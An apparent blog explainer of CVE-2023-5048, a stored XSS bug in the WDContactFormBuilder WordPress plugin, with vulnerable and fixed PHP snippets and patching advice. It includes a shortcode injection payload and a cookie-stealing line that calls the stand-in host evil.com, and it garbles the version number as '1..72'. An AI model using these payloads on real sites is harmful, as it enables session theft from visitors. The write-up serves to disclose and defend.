CVE-2023-5048 is a security vulnerability that affects the WDContactFormBuilder plugin for WordPress, up to and including version 1..72. This vulnerability is a Stored Cross-Site Scripting (XSS) issue that could allow an attacker with contributor or higher privileges to inject malicious JavaScript code into a website page. When someone visits the injected page, the script will execute in their browser, potentially leading to session hijacking, phishing pages, or further site compromise.

This post will break down the vulnerability, show how the exploit works (with code samples), and help you understand how to protect yourself.

What is the Issue?

The problem lies in how the Contact_Form_Builder shortcode processes its id attribute provided by users. Due to insufficient input validation and lack of output escaping, an attacker can inject scripts through this parameter.

Anyone running WDContactFormBuilder v1..72 or earlier

- Attackers need at least contributor access to add shortcodes to posts/pages.

The vulnerable shortcode

A shortcode in WordPress is a simple way to add dynamic content. The WDContactFormBuilder plugin provides the following:

[Contact_Form_Builder id="1"]

This should only accept numeric IDs, but in versions <= 1..72, it did not properly sanitize input, so HTML and JavaScript could sneak through.

Example Exploit

Suppose an authorized user wants to inject malicious JavaScript. They could craft a post with the following shortcode:

[Contact_Form_Builder id='1" onmouseover="alert(document.cookie)"']

This injects an event handler that will fire a JavaScript alert when someone hovers over the form (trivial proof of concept).

How the injected code is rendered

On the page, this transforms into something like

<div id="contact_form_builder1" onmouseover="alert(document.cookie)">
  <!-- Contact Form HTML -->
</div>

Now, anyone mousing over the form element will see their cookies in an alert (with a more malicious payload, the attacker could send cookies elsewhere).

More Dangerous Payload

To show how it could be used for real-world attack, here's a snippet that tries to steal the user's authentication cookies (do not use this maliciously):

[Contact_Form_Builder id='1" onmouseover="fetch('https://evil.com/steal?c='+document.cookie)"']

Attacker obtains contributor access

This can be done legitimately (insider attack), through social engineering, or by leveraging another vulnerability.

User visits the page

Any user (including admin) who visits the page will trigger the script when they hover, click, or the code could be set to trigger automatically with other events.

This could

- Steal cookies/sessions

Redirect users to phishing pages

- Deface the page/website

Why Does This Happen?

The developer failed to sanitize and escape the shortcode parameters. WordPress offers functions like sanitize_text_field, esc_attr, and esc_html to safely handle user input. Without this, attackers can inject arbitrary content into the page’s output.

Bad code (simplified)

$id = $_GET['id'];
echo '<div id="contact_form_builder' . $id . '">';

Proper code

$id = intval($_GET['id']);
echo '<div id="contact_form_builder' . esc_attr($id) . '">';

How To Stay Safe

- Update Immediately: If you use WDContactFormBuilder, upgrade to the latest version (confirm if fixed or seek a safer alternative).

Monitor Your Site: Watch for unexpected shortcodes or suspicious posts.

- Use Security Plugins: Consider additional layers like Wordfence or Sucuri.

References

- NVD: CVE-2023-5048
- Wordfence Advisory
- Official WDContactFormBuilder Plugin
- OWASP XSS Overview

Final Thoughts

Stored XSS bugs like CVE-2023-5048 are a reminder that web development, even done on top of huge platforms like WordPress, must take security seriously. Always validate and escape user input, especially when building plugins or themes. And as a site owner, keep your plugins up to date and audit user capabilities regularly.

Timeline

Published on: 11/22/2023 16:15:10 UTC
Last modified on: 02/01/2024 02:26:27 UTC